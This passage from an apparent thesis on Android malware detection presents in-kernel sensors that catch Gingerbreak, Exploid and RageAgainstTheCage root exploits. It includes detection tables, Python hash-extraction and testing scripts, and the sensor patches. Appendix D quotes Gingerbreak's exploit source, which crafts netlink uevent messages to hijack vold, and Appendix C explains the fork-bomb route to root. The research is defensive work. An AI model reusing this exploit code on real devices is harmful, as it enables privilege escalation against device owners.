design discussed circumvents the malware’s anti-forensic techniques.

5.2 Gingerbreak

Figure 5.1 shows the detection rate for Gingerbreak running on different Android

operating systems. The Gingerbreak code came from the payload of Gingermaster

applications. Based on SHA1 hash, the payload for each applications was the same.

Android Version Results

Donut (1.6) * Detected

Eclair (2.1) * Detected

Froyo (2.2) * Detected

Gingerbread (2.3.3) * Detected

Honeycomb (3.0) Detected

Jelly Bean (4.3) Detected

KitKat (4.4) Detected

* Operating system vulnerable to Gingerbreak

Figure 5.1: Gingerbreak binary detection

For payloads, all four versions of Gingermaster utilized the same exploit (based on

SHA1 hash). Listing B.3 shows the code to extract the hash, and Figure 5.2 shows the hash.
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SHA1: 611818ea2da9d302d6bcd9b61846d7fa9a65e96d

4/4 (100%)

Figure 5.2: Gingermaster detection results against the different payloads

To begin, the test ran on Android 2.2 (Froyo) and detected each copy of Gingermaster.

The Gingermaster application only attacks versions less than or equal to 2.3.3. To test the

exploit on each version of Android, Section 4.8.4 stated to pull to payload from the virus

and execute the payload on the device via the adb program. For Android versions less than

or equal to 2.3.3, the developer(s) can modify the sensors to also block the exploit. Later

Android versions already block the exploit, but do not detect. Conversely, Figure 5.3 shows

the effectiveness of antiviruses for finding the exploit in 2011.

AVG Lookout Norton TrendMicro

4/4 (100%) 4/4 (100%) 4/4 (100%) 4/4 (100%)

Figure 5.3: 2011 Gingermaster detection results from four antivirus software [20]

For Gingermaster, the lack of variants improved signature-based detection accuracy.

However, should the attacker introduce a new variant, the signature-based detection

algorithms would require a new signature definition. The kernel method can detect the

behavior in real time. As long as the exploit continues to rely on a negligent permission

check in sendmsg(2), the kernel algorithm works.

5.3 zHash

zHash, similar to Gingerbreak, relies on a negligent permission check in sendmsg(2).

Although zHash runs a different root exploit, both exploit families go through the same
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critical path. They both send a datagram packet through NETLINK_KOBJECT_UEVENT.

Only the kernel should send messages via the NETLINK_KOBJECT_UEVENT channel. Figure

5.4 shows the algorithms detection of zHash’s payload known as Exploid.

Android Version Results

Donut (1.6) * Detected

Eclair (2.1) * Detected

Froyo (2.2) * Detected

Gingerbread (2.3.3) Detected

Honeycomb (3.0) Detected

Jelly Bean (4.3) Detected

KitKat (4.4) Detected

* Operating system vulnerable to zHash

Figure 5.4: zHash binary detection

For this exploit, the modified kernel detected the exploit on all operating systems. The

payload Exploid only works on Android Kernel versions less than or equal to 2.2. Figure

5.5 shows a comparison to antivirus.

AVG Lookout Norton TrendMicro

11/11 (100%) 11/11 (100%) 11/11 (100%) 11/11 (100%)

Figure 5.5: 2011 zHash Detection Results From Four Antivirus Software [20]

Like Gingermaster, the lack of variants and age of the exploit helped in the

static signature-based detection. Under certain circumstances, signature-based detection
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can detect zHash during download which is not possible for behavior-based detection

algorithms. However, the circumstances require a pre-existing signature and limited file

obfuscation. Behavior based detection algorithms do not require static signatures nor

fooled by file obfuscation. Since the detection is inline with the kernel, the detection

happens instantaneously when the malware crosses the critical path.

Based on a VirusTotal [38] scan report, the malware sample contained 2 malware

applications with the name zHash. However, VirusTotal also calls the malware Exploid.

A search for Exploid revealed 18 malware samples including zHash. The sensor detected

all 18 malware samples. Figure 5.6 shows the different payloads inside the zHashmalware.

Listing B.2 shows the code to extract the different hashes.

SHA1: b703df668e41a8cf5bad44edf1ac65c915e5fe41 SHA1: 8d673db24815b1924c4fbff8f204c30e7570d4c2

9/9 (100%) 8/8 (100%)

SHA1: c6908dc5f7c072d89d0f8359a0a2add9658b016a

1/1 (100%)

Figure 5.6: zHash detection results against the different payloads

5.4 DroidKungFu

DroidKungFu came in four variants with several repackaged applications inside the

third-party application stores. The fourth variation assumes the user already rooted the

phone. Therefore, DroidKungFu4 lacked any root exploits and was not a candidate for

this experiment. Figure 5.7 shows the detection rate for DroidKungFu.

All three version of DroidKungFu rely on Exploid and RageAgainstTheCage.

Therefore, they all attacked the same vulnerabilities and the kernel quickly detected the

malware calling through the critical path. Despite the payload encryption and 373 re-
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Android Version Results

Donut (1.6) * Detected

Eclair (2.1) * Detected

Froyo (2.2) * Detected

Gingerbread (2.3.3) * Detected

Honeycomb (3.0) Detected

Jelly Bean (4.3) Detected

KitKat (4.4) Detected

* Operating system vulnerable to DroidKungFu

Figure 5.7: DroidKungFu binary detection

packaged versions of the malware, the exploits still followed the deterministic path to

exploit the vulnerability. RATC affects Android OSs that are less than or equal to 2.2.1.

In this experiment, the sensors detected, but did not prevent RATC from running. To prevent

the attack, developers need to check the return values inside Figure 5.8.

Android ≤ 2.2.1: adb.c:adb_main()
/* then switch user and group to "shell" */

setgid(AID_SHELL);

setuid(AID_SHELL);

Android > 2.2.1: adb.c:adb_main()
if (setgid(AID_SHELL) != 0) {

exit(1);

}

if (setuid(AID_SHELL) != 0) {

exit(1);

}

Figure 5.8: Source code change inside /system/core/adb.c:adb main()
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Android versions greater than 2.2.1 patched the exploit. To increase the accuracy

of detection, developers could report a message to syslog stating that the system calls

setgid(2) and setuid(2) inside adb.c failed. Therefore, the sensors in fork.c and

adb.c can detect RATC.

DroidKungFu came with the most variety of payloads. However, they all attacked

the same vulnerability, and the kernel sensors discovered each one. Figure 5.9 shows the

kernel’s detection rate against the different payloads of DroidKungFu versions. Listing

B.4 shows the code to extract the different hashes.

SHA1: e58a10ae5b217494ea9f83ee143156fca2a5288a SHA1: 89d86c6c5ae746b06604f1c1ac84ff45b107224d

81/81 (100%) 149/149 (100%)

SHA1: f6fc90a168518d850e82965ed56cffe13b231075 SHA1: 7fd791ae18455ea3bb787ecd498712d28046afab

1/1 (100%) 28/28 (100%)

SHA1: 260a16f427ec521d1a86e31af918ab4d210b5be1 SHA1: 48ae6f73d4411eab4953c5a29d0fd51877270c2e

39/39 (100%) 39/39 (100%)

SHA1: d683acfb19ab9719028ffceadd35e64d5488ca6c SHA1: 5c7b198241c97179f20e00b966548f86d6c7d3f2

1/1 (100%) 1/1 (100%)

SHA1: 38167159a4dd066ff525589183f8e68304fff2a6

18/18 (100%)

Figure 5.9: DroidKungFu detection results against the different payloads

The detection sensor resides in kernel/fork.c:copy_process() and net/

socket.c:__sock_sendmsg(). The sensors detect fork bombs as well as RATC.

Attackers use fork bombs to create a denial of service (DOS) to the phone. Figure 5.10

shows the 2011 antivirus detection rate for the different versions of DroidKungFu.

Repackaged applications prove difficult for static signatures to detect. Norton could

only detect 0.3% of DroidKungFu3 variants. With dynamic detection, the sensors look
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AVG Lookout Norton TrendMicro

DroidKungFu1 34/34 (100%) 34/34 (100%) 2/34 (5.8%) 33/34 (97%)

DroidKungFu2 30/30 (100%) 30/30 (100%) 1/30 (3.3%) 30/30 (100%)

DroidKungFu3 0/309 (0%) 307/309

(99.3%)

1/309 (0.3%) 305/309

(98.7%)

Figure 5.10: 2011 DroidKungFu detection results from four antivirus software [20]

for specific malware behavior. The malware behavior will not change due to repackaging.

Therefore, the dynamic detection signatures require less updates.

5.5 False Positives

The experiment tested over 16,577 benign applications from the official Android

Market [15] and Chinese third-party markets [8, 30]. To test the benign applications,

the testing script installs the benign application into the emulator running the behavior-

detection kernel. The script launches the applications, sends a BOOT_COMPLETED message,

and allows the program to run for 30 seconds. Afterwards, the emulator reverts to a previous

snapshot. The log file from the experiment reports any false positives. VirusTotal ensures

the application contain no root exploits. The experiment contained no false positives.

5.6 Accuracy

For this experiment, the test did not have false positives (type II errors) or false

negatives (type I errors). The sensors did not detect rooting attacks from the benign

applications. The payloads for the malicious applications triggered the sensors. The

experiment tests the payloads from the malicious application to avoid anti-forensics

techniques. Table 5.1 shows the accuracy of the experiment.
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Actually Malicious Applications Not Malicious Applications

Sensors Detected Malicious 379 0

Sensors Detected Benign 0 16,577

Legend

Actually Malicious Applications Not Malicious Applications

Sensors Detected Malicious True Positive False Positive (Type II Error)

Sensors Detected Benign False Negative (Type I Error) True Negative

Table 5.1: Accuracy of the experiment

Because of the deterministic nature of the payload’s machine code, the kernel detects

the intrusion. If the malicious application chooses not to execute the payload, the sensor

determines the application to be benign. A non-attacking application does not pose a threat

to the system.

5.7 Advantage and Disadvantage of the Proposed Detection Algorithm

The sensors provide real time detection, and is harder for malware to circumvent since

the sensors reside in the kernel. In addition, the sensors requires less asymptotic complexity

and memory consumption than static signature-based detection. For the slowest sensor

which monitors all new processes, the detection runs in O(n) where n = RLIMT NPROC.

The default value of n is 6,656 in the emulator. Only the root user can change this value.

For memory consumption, the sensor’s memory requirements remain constant regardless

of user input. The sensor which detects all packet sent using sendmsg(2) runs in O(1).

The memory consumption for the sendmsg(2) sensor remains constant regardless of user

input. The sensors defending two critical paths detect 379 root exploits where antivirus

must constantly maintain signatures of all known root exploits. Unlike the antiviruses,

a user cannot disable the sensors. The sensors reside inline with the kernel which also
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prevents malware from disabling the sensors. However, should the user desire to root

their own phone, the user will trigger the sensors. The feature protects the user, but the user

may not want the protection.

On the other hand, traditional antivirus can detect a wider range of malware (not

just root seeking samples). The flexibility comes with the cost of extra overhead. The

antivirus must constantly provide definition updates. In addition, the program requires

more processing power to detect the samples. The program will contain a higher false

negative (Type I) error rate, because the static signature may intrinsically detect variations

of the same malware family. Small changes in the malware’s source code or using a

different compiler have significant effects on the machine code which changes the static

signature.

5.8 Summary

For this experiment, the root detection algorithm inside the Android kernel detected

RATC, Exploid, and Gingerbreak exploits. The sensors could also detect the intrusion

even if the Android operating system is no longer vulnerable. Some antivirus software

could not detect all versions of DroidKungFu in December 2011.

The sensors detected all 379 root exploits and reported all 16,577 benign applications

from the official Android market and the third-party Chinese application stores correctly.

The experiment reported zero false positives and zero false negatives. The study discovered

two critical paths inside the kernel where only malware entered.
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VI. Conclusion

6.1 Introduction

This chapter presents a summary and describes the significance of the research. In

addition, the chapter recommends future research for Android rooting detection. The

thesis accomplished the four goals outlined in Section 1.2.

6.2 Summary of Research

The research provided means to detect malware running Exploid, RageAgainstTh

eCage, and Gingerbreak. The methodology detected all 379 root exploits. In addition,

no false positives for the 16,577 benign applications tested. The discovered critical paths

detected the exploits. However, future malware may discover a new path to root the

device. Therefore, the research demonstrated the procedures to reverse engineer malware.

The fork bomb sensor asymptotic time complexity is O(n) where n is the number of

process the Application forked to reach RLIMIT_NPROC. RLIMIT_NPROC is the maximum

number of processes a single user may run, and the default Android emulator sets the

value to 6,656. Each application is a unique user for the Android operating system. If the

application is benign, the sensor runs in constant time. The asymptotic memory complexity

for the sensor is constant. The input to the sensor does not affect memory consumption.

The sendmsg(2) sensor runs in O(1). The sensor’s time complexity remains constant

regardless of input. In addition, the sensor’s space complexity (memory consumption) is

constant.

The sensor is portable. That is, the code compiled successfully under Linux 3.13,

Linux 2.26 and Android goldfish 2.26 source code. In addition, the code changes

compiled to ARMv5, ARMv7, and x86_64 machine code. The kernel operated on Ubuntu

12.04 as well as Android 1.6, 2.1, 2.2, 2.3.3, 3.0, 4.3 and 4.4 distributions.
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6.3 Recommendations for Future Research

Malware on Android continues to grow, and malware writers will discover new

techniques to root Android. In addition, kernel developers continue to perfect Linux

and consequently modify the flow of execution in the kernel. Therefore, the critical paths

change along with the newer kernel versions. As the critical paths change, the sensors

require updates.

This research did not cover the asroot [31] vulnerability exploit due to time

constraints. The exploit may require detection of the new critical path. In addition, adding

sensors in the Davlik virtual machine (DVM) may detect applications running with root

permissions. By discovering root applications inside the DVM, researchers may also

discover new malware exploits unknown to the community.

Although this thesis studies local privilege exploits on Android, the sensors could

adapt to protect the Linux operating system from root-seeking malware. Since Android

shares a similar kernel, the sensors could protect Linux. Indeed, the asroot and

Gingerbreak exploits came from Linux first [31, 32]. The concept of kernel sensors

could also detect root exploits on Windows, iOS and other operating systems.

6.4 Research Contributions

The research provided a 100% detection rate for the three root exploits. In addition

the sensors can detect and/or prevent exploits which provides flexibility on how to respond

to the malware. The sensors did not report any false positives from benign applications.

The sensors can behave like a honeypot and only report intrusions. The community

can implement the sensors to discover new exploits. The critical path shared by

Gingerbreak and Exploid demonstrate the similarity between exploits. Unlike antivirus

applications, the sensors are not in the installed applications list. The user nor malware can

uninstall the sensors without replacing the entire kernel. In addition, the sensors work for

all versions of the Android operating system.
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Unlike static signatures, small changes to the malware source code or using a different

compiler will not change the malware’s critical paths. Sensors inside the kernel can monitor

all paths of execution for all applications in real time. The local privilege exploit cannot

circumvent the kernel.

The research also discovered the existence of critical paths inside the kernel that only

malware reached. In addition, the research demonstrated the feasibility of monitoring the

critical paths in real time. Not only can the sensors monitor malware in real time, they

required less memory and power consumption than signature based detection. Unlike

cloud-based solutions proposed, the detection remains on the device. Therefore, the

sensors operate without network access. The sensors do not raise the privacy concerns

of cloud-based detection. Since the asymptotic complexity of the sensor is O(n) when n ≤
RLIMIT_NPROC, the sensors require less battery power than uploading the malware to the

cloud. Under normal circumstances, the sensor runs in constant time.

Moreover, the study demonstrated the feasibility of reverse engineering Android

malware. Because the applications run Dalvik bytecode, the community provides software

to convert bytecode to its source code counterpart. Therefore, Dalvik bytecode is easier to

reverse engineer than native code. Nevertheless, malware uses native code for their root

exploits. At this time, the 397 malware payloads did not use code obfuscation, and allows

disassemblers to convert the machine code to assembly. Additionally, the application’s

bytecode provides insight on the inner workings of the native code exploits. Should

malware sophistication improve, the kernel sensors are immune to code obfuscation on

the file system.
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Appendix: Tools Needed

This chapter includes the tools run for the experiments. The first section discusses

virtualization tools which sandbox the malware from propagating to the Internet. The next

section provides the remote access tools to reach the severs. The last section explains the

developer tools required for implementing and testing the sensors.

A.1 Virtualization

To prevent the propagation of malware, the malware samples run inside and the

Android emulator which is running on Ubuntu 12.04 virtual machine. Oracle Virtualbox 4

[35] isolates Ubuntu 12.04 from the host machine and network. In addition Virtualbox

allows users to take snapshots of different states of the operating system. For this

experiment, reverting to snapshot provides the experiment with a stable baseline for testing.

The Android emulator also provides snaphots which revert the system to a baseline state

before the malware sample existed on the machine.

A.2 Remote Access

To access the different servers securely, the virtual machines connected remotely

to other virtual machines. The virtual machines run secure shell client (SSH), virtual

network computing (VNC), remote desktop protocol (RDP), and server message block

(SMB). SSH provides encrypted terminal access to Linux-based systems. The program

OpenSSH [34] provides the SSH server and client. For graphical remote access, VNC

(for the Linux servers) and RDP (for the Windows server) sends the user desktop over

the internet protocol. The program Xvnc4 maintained by RealVNC [37] provides VNC

support while Microsoft maintains RDP. In addition Microsoft also maintains SMB [29].

SMB provides a remote fileshare service to access the samples from the network attached

storage (NAS) servers.
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A.3 Developer Tools

• GNU C – The Linux Kernel Code compiles only with GNU C Compiler.

• Sun Java Developer Toolkit 6 – The Android Source compiles only with Sun JDK

version 6.

• Android Standard Developer Toolkit with Eclipse – Includes emulators, tools, coding

platform and quasi-debugging of Android Applications.

• Git – The version control system required to obtained the latest Android kernel and

operating system.

• IDA Pro 5.5 – Required to reverse-engineer Android Malware (at this time, all written

in ELF 32-bit ARM version 5)

• JD-GUI 0.3.5 – Reverse-Engineers Java byte-code back to Java syntax.

• Android Malware Genome Project – Provides the 1,200 Android malware samples

[56].

• Python 2.7.5 – For automating the testing process.
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Appendix: Scripts Used

B.1 Obtain VirusTotal results for each malware sample

The following code sends hashes of each malware sample to VirusTotal [38].

VirusTotal reports 46 antiviruses’ findings and provides a python application programming

interface (API) to automate scans. The API file is called vt.py.

#!/usr/bin/env python

#

# This program queries Virus Totoal. It reads the

# names of the files from

# FILENAME (one file per line). It then runs:

# ./vt.py <filename> (found on VirusTotal website at

# https://www.virustotal.com/en/documentation/public-api/)

# For each file. NOTE: vt.py should be in the same

# directory. If not, modify

# the parameter VT_API_FILENAME to point to the program.

import os, time, subprocess

FILENAME = "malicious_filelist.txt"

VT_API_FILENAME = "./vt.py"

if __name__ == ’__main__’:

counter = 0

fileList = open(FILENAME ,’r’)

for line in fileList:

# We can only send 4 requests a minute. We need

# to slow down our

# program so we don’t get banned from Virus Total.

if (counter != 0 and counter % 4 == 0):

time.sleep(60)

else:

subprocess.call([VT_API_FILENAME , \

line.strip()])

counter = counter + 1
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print "[*] done. " + str(counter) + " files processed.\n"

Listing B.1: VirusTotal Database Query

B.2 Collect SHA1 Hashes of the zHash Payload

The following code collects the different SHA1 hashes for zHash. Android

applications install from in ZIP folders. The payload could reside in res/raw/extend,

assets/exploid, or assets/secbino.

#!/usr/bin/env python

#

# This program extracts the virus,

# exploid, from zHash and gets its hash

import os, time, subprocess , hashlib, zipfile

FILENAME = "/media/store/Exploid.txt"

if __name__ == ’__main__’:

print "[*] Program Starting.\n"

fileList = open(FILENAME ,’r’)

hashes = {}

processed = 0

failed = 0

for line in fileList:

zHash = zipfile.ZipFile(line.strip())

try:

extend = zHash.read("res/raw/extend");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

try:

extend = \

zHash.read("assets/exploid");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

try:
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extend = \

zHash.read("assets/secbino");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

print "[-] file: " + \

line.strip()

failed = failed + 1

continue

if hashes.get(sha1.hexdigest(), None) == None:

print str(line.strip()) + " : " + \

str(sha1.hexdigest())

hashes[sha1.hexdigest()] = line.strip()

print "[*] Done. "

print str(processed) + " files processed. " + \

str(failed) + " files failed."

Listing B.2: Extract the SHA1 hashes of the zHash Payload

B.3 Collect SHA1 Hashes of the Gingermaster Payload

The below code obtains the different SHA1 hashes of Gingermaster. For all samples,

the payload resides in assets/gbfm.png.

#!/usr/bin/env python

import os, time, subprocess , hashlib, zipfile

FILENAME = "/media/store/Gingerbreak.txt"

if __name__ == ’__main__’:

print "[*] Program Starting.\n"

fileList = open(FILENAME ,’r’)

hashes = {}

processed = 0

failed = 0

for line in fileList:

zHash = zipfile.ZipFile(line.strip())

try:

extend = zHash.read("assets/gbfm.png");
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sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

print "[-] file: " + line.strip()

failed = failed + 1

continue

if hashes.get(sha1.hexdigest(), None) == None:

print str(line.strip()) + " : " + str(sha1.hexdigest())

hashes[sha1.hexdigest()] = 1

else:

hashes[sha1.hexdigest()] = hashes[sha1.hexdigest()] + 1

print "[*] Done. "

print str(processed) + " files processed. " + \

str(failed) + " files failed."

print str(hashes)

Listing B.3: Extract the SHA1 hashes of the Gingermaster Payload

B.4 Extract SHA1 Hash for DroidKungFu Payload

DroidKungFu’s payload resides in assets/foobin, assets.webView.db.init,

assets/db.init, or assets/ratc. The code below collects the SHA1 hashes of the

various payloads.

#!/usr/bin/env python

import os, time, subprocess , hashlib, zipfile

FILENAME = "/media/store/DroidKungFu.txt"

if __name__ == ’__main__’:

print "[*] Program Starting.\n"

fileList = open(FILENAME ,’r’)

hashes = {}

processed = 0

failed = 0

for line in fileList:

zHash = zipfile.ZipFile(line.strip())

try:
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extend = zHash.read("assets/foobin");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

try:

extend = zHash.read("assets/WebView.db.init");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

try:

extend = zHash.read("assets/db.init");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

try:

extend = zHash.read("assets/ratc");

sha1 = hashlib.sha1()

sha1.update(extend)

processed = processed + 1

except KeyError:

print "[-] file: " + line.strip()

failed = failed + 1

continue

if hashes.get(sha1.hexdigest(), None) == None:

print str(line.strip()) + " : " + \

str(sha1.hexdigest())

hashes[sha1.hexdigest()] = 1

else:

hashes[sha1.hexdigest()] = \

hashes[sha1.hexdigest()] + 1

print "[*] Done. "

print str(processed) + " files processed. " + \

str(failed) + " files failed."

print str(hashes)

Listing B.4: Extract the SHA1 hashes of the DroidKungFu Payload
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B.5 Test Benign Apps

The following code tests benign applications for false positives. The script installs the

application, runs the program, and sends the program a BOOT_COMPLETED message.

#!/usr/bin/env python

from __future__ import division

import os, time, subprocess , sys, signal, multiprocessing

from subprocess import Popen, PIPE

from threading import Thread

KEEP_RUNNING = multiprocessing.Value(’i’, 1)

FILELIST = "/media/store/harmless_filelist.txt"

def start_emulator():

print "[$] emulator -avd Android -2.2 -kernel " \

"custom-kernel -show-kernel -wipe-data"

subprocess.Popen("emulator -avd Android -2.2 -kernel " \

"custom-kernel -show-kernel -wipe-data", shell=True)

while(KEEP_RUNNING.value == 1):

time.sleep(2)

def signal_handler(signal, frame):

print "Goodbye"

KEEP_RUNNING.value = 0

thread.join()

sys.exit(0)

thread = Thread(target = start_emulator)

def install_app(app):

print "[$] adb install " + app
subprocess.call("adb install " + app, shell=True)

def run_app(app):

print "[$] ./adb-run.sh " + app
subprocess.call("./adb-run.sh " + app, shell=True)

def kill_emulator():

print "[$] adb emu kill"
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subprocess.call("adb emu kill", shell=True)

def broadcast_boot_completed():

print "[$] adb shell am broadcast -a " \

"android.intent.action.BOOT_COMPLETED"

subprocess.call("adb shell am broadcast -a " \

"android.intent.action.BOOT_COMPLETED", shell=True)

if __name__ == ’__main__’:

signal.signal(signal.SIGINT, signal_handler)

fileList = open(FILELIST ,’r’)

thread.start();

time.sleep(90)

i = 1

for line in fileList:

if (i % 10 == 0):

broadcast_boot_completed()

time.sleep(10)

KEEP_RUNNING.value = 0

thread.join()

kill_emulator()

time.sleep(5)

KEEP_RUNNING.value = 1

thread = Thread(target = start_emulator)

thread.start()

time.sleep(110)

print "[*] " + str((i / 16577) * 100) + "% completed."

install_app(line.strip())

time.sleep(2)

run_app(line.strip())

time.sleep(10)

i = i + 1

KEEP_RUNNING.value = 0

thread.join()

print "[*] Completed."

Listing B.5: Python script for testing benign applications

The shell script, adb-run.sh, contains the following code.

#!/bin/sh

pkg=$(/home/jball/android-sdk/sdk/platforms/android -4/tools/aapt \
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dump badging $1|awk -F" " ’/package/ {print $2}’|awk -F"’" \

’/name=/ {print $2}’)

act=$(/home/jball/android-sdk/sdk/platforms/android -4/tools/aapt \

dump badging $1|awk -F" " ’/launchable activity/ {print $3}’\

|awk \-F"’" ’/name=/ {print $2}’)

adb shell am start -n $pkg/$act

Listing B.6: Run an Android application
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Appendix: Sensor code inside the kernel

By modifying the source code inside the Linux kernel, the experiment demonstrates

that installing sensors inside the critical paths of the Linux kernel detects malware before

antivirus. In addition, the kernel detects malware behavior which provides more resiliency

to polymorphic malware than hash signatures.

Of note, Android runs on its own modified version of Linux. Each Android platform

runs a unique version of the kernel. The developers name each kernel type by an animal.

For example, the Android emulator, which the researchers of this experiment run, requires

the kernel codenamed Goldfish.

C.1 Sensor to detect RageAgainstTheCage

First, RageAgainstTheCage roots the phone by running a fork bomb until the

system reaches RLIMIT NPROC processes. Then, the exploit kills the adbd process. The

system restarts adbd as root. Next, adbd calls setuid and setguid to drop its privilege

to AID SHELL. Since the system reached RLIMIT NPROC processes, both system calls fail,

but adbd fails to check for failure. From this point, adbd spawns new processes with root

privileges.

To prevent this attack, the Linux kernel will detect fork bombs and report the findings

to /proc/kmsg. The sensor goes in kernel/fork.c:copy_process. When the kernel

performs a quota check for RLIMIT_NPROC, the sensor will report violators to syslog.

static struct task_struct *copy_process(unsigned long clone_flags ,

unsigned long stack_start ,

unsigned long stack_size ,

int __user *child_tidptr ,

struct pid *pid,

int trace)

{
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struct task_struct *attacker; /* used in sensor */

/* code snipped */

/*

* The copy process now checks that the user

* hasn’t reached their RLMIT_NPROC quota

*/

if (atomic_read(&p->real_cred ->user->processes) >=

task_rlimit(p, RLIMIT_NPROC))

{

if (!capable(CAP_SYS_ADMIN) &&

!capable(CAP_SYS_RESOURCE) &&

p->real_cred ->user != INIT_USER)

{

/***************************************

* MY CODE BEGINS HERE (roughly line 994)

***************************************/

/*

* Find the attacker process that started

* the fork bomb.

*/

attacker = current;

while(strcmp(attacker->parent->comm,

current->comm) == 0 &&

attacker != &init_task)

{

attacker = attacker ->parent;

}

printk("[FORK_SENSOR] Attack Detected. "

"Process %s(%lu), User %lu.\n",

attacker ->comm,

attacker ->pid,

attacker ->real_cred ->uid

);

/****************************************

* MY CODE ENDS HERE

****************************************/

/*

* Clean up allocated memory and return

* error code.

*/

goto bad_fork_free;
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}

}

Listing C.1: Source code change inside kernel/fork.c:copy process

From the code above, the variable, p (shorten for process) and current (macro that

points to the current process), is of type task_struct. The task_struct contains all

the metadata the kernel needs to know about a given process. First, the code looks to

see how many processes the current user is running. In Android, each application is its

own user which helps ensure application isolation from each other. The kernel keeps

track of the total number of user processes at &p->real_cred->user->processes,

and the code compares the running processes number to the maximum number allowed

for that user (RLIMIT NPROC). If over, the code checks if the current user contains the

CAP SYS ADMIN or CAP SYS RESOURCE tokens which allow the user exemption from the

process quota. If the user lacks the above tokens, the detection algorithm finds the original

process (attacker) which started the fork bomb. Next, the code sends a message to

syslog (located at /proc/kmsg in Android). The message contains the first 15 characters

of the process’s name, the super parent process’s identification, and the user identification.

C.2 Sensor to detect Gingerbreak and Exploid

Gingerbreak and Exploid both send messages via the NETLINK_KOBJECT_UEVENT

protocol. The developers designed this protocol so the kernel can talk to user space [24].

User space should not have sendmsg permission via this protocol. Linux developers

already patched this vulnerability. At this point, malware detection should activate if user

space tries to send messages through the NETLINK_KOBJECT_UEVENT protocol. The sensor

goes in net/socket.c:__sock_sendmsg.

static inline int __sock_sendmsg(struct kiocb *iocb,

struct socket *sock,

struct msghdr *msg,

size_t size)
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{

/************************************************

* MY CODE STARTS HERE (Beginning of the function)

*************************************************/

struct sock *sk = sock->sk;

int err;

if(sk->sk_family == PF_NETLINK &&

sk->sk_protocol == NETLINK_KOBJECT_UEVENT &&

current->real_cred ->uid != 0)

{

printk("[__sock_sendmsg] Attack Detected. "

"Process %s(%lu), User "

"%lu tried to send a message via NETLINK"

"_KOBJECT_UEVENT.\n", current->comm,

task_tgid_vnr(current),

current->real_cred ->uid

);

}

/***********************************************

* MY CODE ENDS HERE

***********************************************/

Listing C.2: Source code change inside net/socket.c: sock sendmsg

When a user calls sendmsg, the call reaches the kernel at net/socket.c. After

collecting and parsing the parameters from the system call, the kernel passes the sanitized

arguments to __sock_sendmsg. For this function, the detection algorithm checks if a user

process tried to send a message via NETLINK KOBJECT UEVENT. If so, the code sends a

message to syslog (located at /proc/kmsg in Android). The message contains the first

15 characters of the process’s name, the process’s identification and the user identification.

The latest goldfish kernel checks for permissions to send via netlink and blocks

the communication. Originally, the kernel allowed the communication [40]. In addition,

the protocol accepted datagram or raw packets [24]. While raw packets require root

permissions, datagram packets do not. If an unprivileged hacker sends the message via

a datagram package instead of a raw packet, the packet goes through. Since then, the

developers patched the kernel to block datagram and raw packets for users. However, the
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Linux kernel development community chose not to report the violation in syslog [7]. As

such the user never knows the attack occurred. If the user knew, the user may remove the

malicious program before the malware discovers a successful means to root the phone.
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Appendix: Original malware signature paths

D.1 Critical path for Gingerbreak

Inside the function do_fault, Gingerbreak makes a system call to sendmsg(2)

using the NETLINK_KOBJECT_UEVENT protocol. Since the protocol is designed to send

kernel messages to user space [24], the malware fools udev to overwrite the strcmp(3)

global offset table (GOT) entry in vold with system(3). If the sendmsg(2) fails, the

exploit fails. By monitoring user processes sending messages over NETLINK_KOBJECT_

UEVENT, the sensor can detect the exploit. Listing D.1 shows the do_fault source code

for Gingerbreak.

static int do_fault(uint32_t idx, int oneshot)

{

char buf[0x1000];

struct sockaddr_nl snl;

struct iovec iov = {buf, sizeof(buf)};

struct msghdr msg = {&snl, sizeof(snl),

&iov, 1, NULL, 0, 0};

int sock = -1, n = 0;

do {

find_vold();

usleep(10000);

} while (!vold.found);

usleep(200000);

memset(buf, 0, sizeof(buf));

memset(&snl, 0, sizeof(snl));

snl.nl_family = AF_NETLINK;

if ((sock = socket(PF_NETLINK , SOCK_DGRAM ,

NETLINK_KOBJECT_UEVENT)) < 0)

die("[-] socket");

snl.nl_pid = vold.pid;

memset(buf, 0, sizeof(buf));
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n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%c"

"SUBSYSTEM=block%cDEVPATH=%s%cMAJOR=179"

"%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d",

0, 0, 0, vold.device, 0, 0, vold.system,

0, 0, -idx);

msg.msg_iov->iov_len = n;

n = sendmsg(sock, &msg, 0); /* CRITICAL PATH! */

if (n < 0 || oneshot) {

close(sock);

return n;

}

usleep(500000);

/* Trigger any of the GOT overwriten

* strcmp(), atoi(), strdup() etc.

* inside vold main binary.

* Arent we smart? Using old school

* technique from ’99 to fsck NX while others

* re-invent "ROP". Wuhahahahaha!!!

*/

if (honeycomb) {

n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%c"

"SUBSYSTEM=block%cSEQNUM=%s%cDEVPATH=%s%c"

"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",

0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh,

0, bsh, 0);

} else if (froyo) {

n = snprintf(buf, sizeof(buf),

"@/foo%cACTION=add%cSUBSYSTEM=block%c"

"DEVPATH=%s%cMAJOR=179%cMINOR=%d %c"

"DEVTYPE=harder%cPARTN=1",

0, 0, 0, bsh, 0, 0, vold.system, 0, 0);

} else {

n = snprintf(buf, sizeof(buf),

"%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"

"SEQNUM=%s%cDEVPATH=%s%cMAJOR=179%c"

"MINOR=%d%cDEVTYPE=harder%cPARTN=1",

bsh, bsh, 0, bsh, 0, bsh, 0, bsh,

0, bsh, 0, 0, vold.system, 0, 0);

}
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msg.msg_iov->iov_len = n;

n = sendmsg(sock, &msg, 0);

close(sock);

return n;

}

Listing D.1: Critical Path Inside Gingerbreak

D.2 Critical path for Exploid

Just like Gingerbreak, Exploid sends a message over NETLINK_KOBJECT_UEVENT.

In Exploid’s main function, the exploit sends a datagram packet over sendmsg(2) using

the NETLINK_KOBJECT_UEVENT protocol. The message fools init to run sqlite_stmt_

journals/hotplug (the malware) with root privileges the next time a hotplug event

occurs. For example, toggling the WiFi feature or plugging in a secure digital (SD) card

